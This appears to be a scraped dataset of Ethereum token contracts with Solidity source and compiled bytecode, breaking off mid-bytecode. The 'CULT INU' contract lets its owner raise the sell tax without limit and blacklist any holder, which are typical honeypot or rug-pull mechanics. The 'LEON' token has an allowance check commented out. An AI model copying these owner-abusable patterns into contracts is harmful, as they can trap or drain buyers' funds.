pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); // require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/LeonardianToken.sol /** * The LeonardianToken contract does this and that... */ contract LeonardianToken is MintableToken { string public constant name = "Leonardian"; string public constant symbol = "LEON"; uint8 public constant decimals = 18; }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde031461011a578063095ea7b3146101aa57806318160ddd1461020f57806323b872dd1461023a578063313ce567146102bf57806340c10f19146102f0578063661884631461035557806370a08231146103ba5780637d64bcb4146104115780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d73dd6231461058c578063dd62ed3e146105f1578063f2fde38b14610668575b600080fd5b3480156100f757600080fd5b506101006106ab565b604051808215151515815260200191505060405180910390f35b34801561012657600080fd5b5061012f6106be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b657600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f7565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b506102246107e9565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f3565b604051808215151515815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610b22565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b27565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0d565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9e565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b50610426610fe6565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b506104556110ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac6110d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110d565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061132c565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115af565b005b600360149054906101000a900460ff1681565b6040805190810160405280600a81526020017f4c656f6e61726469616e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087d57600080fd5b6108ce826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610961826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8557600080fd5b600360149054906101000a900460ff16151515610ba157600080fd5b610bb68260015461172090919063ffffffff16565b600181905550610c0d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e1e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb2565b610e31838261170790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104457600080fd5b600360149054906101000a900460ff1615151561106057600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4c454f4e0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561114a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561119757600080fd5b6111e8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061127b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113bd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561164757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561171557fe5b818303905092915050565b600080828401905083811015151561173457fe5b80915050929150505600a165627a7a72305820dada25930745b2dbb7b99097ce41992c1fb22d2bd66ac76042d6a228bfbfcb090029
{"success": true, "error": null, "results": {}}
6,982
0xfdd3fcdd694909bf652ee92bacdc95e719e6c57d
// SPDX-License-Identifier: UNLICENSED //https://t.me/cultinuportal pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CULTINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "CULT INU"; string private constant _symbol = "CULTINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x8d9393eA7B243cc080Da1892EA2a561FC7d23815); _buyTax = 10; _sellTax = 10; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/5; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { _sellTax = sellTax; } function setBuyTax(uint256 buyTax) external onlyOwner() { _buyTax = buyTax; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610347578063c3c8cd8014610367578063c9567bf91461037c578063dbe8272c14610391578063dc1052e2146103b1578063dd62ed3e146103d157600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f14610312578063a9059cbb1461032757600080fd5b8063273123b7116100f2578063273123b714610214578063313ce5671461023457806346df33b7146102505780636fc3eaec1461027057806370a082311461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad5780631bbae6e0146101d257806323b872dd146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600881526743554c5420494e5560c01b60208201525b60405161017491906118f4565b60405180910390f35b34801561018957600080fd5b5061019d61019836600461177b565b610417565b6040519015158152602001610174565b3480156101b957600080fd5b50670de0b6b3a76400005b604051908152602001610174565b3480156101de57600080fd5b506101f26101ed3660046118ad565b61042e565b005b34801561020057600080fd5b5061019d61020f36600461173a565b610479565b34801561022057600080fd5b506101f261022f3660046116c7565b6104e2565b34801561024057600080fd5b5060405160098152602001610174565b34801561025c57600080fd5b506101f261026b366004611873565b61052d565b34801561027c57600080fd5b506101f2610575565b34801561029157600080fd5b506101c46102a03660046116c7565b6105a9565b3480156102b157600080fd5b506101f26105cb565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b5060408051808201909152600781526643554c54494e5560c81b6020820152610167565b34801561031e57600080fd5b506101f261063f565b34801561033357600080fd5b5061019d61034236600461177b565b61083b565b34801561035357600080fd5b506101f26103623660046117a7565b610848565b34801561037357600080fd5b506101f26108de565b34801561038857600080fd5b506101f261091e565b34801561039d57600080fd5b506101f26103ac3660046118ad565b610ae4565b3480156103bd57600080fd5b506101f26103cc3660046118ad565b610b13565b3480156103dd57600080fd5b506101c46103ec366004611701565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610424338484610b42565b5060015b92915050565b6000546001600160a01b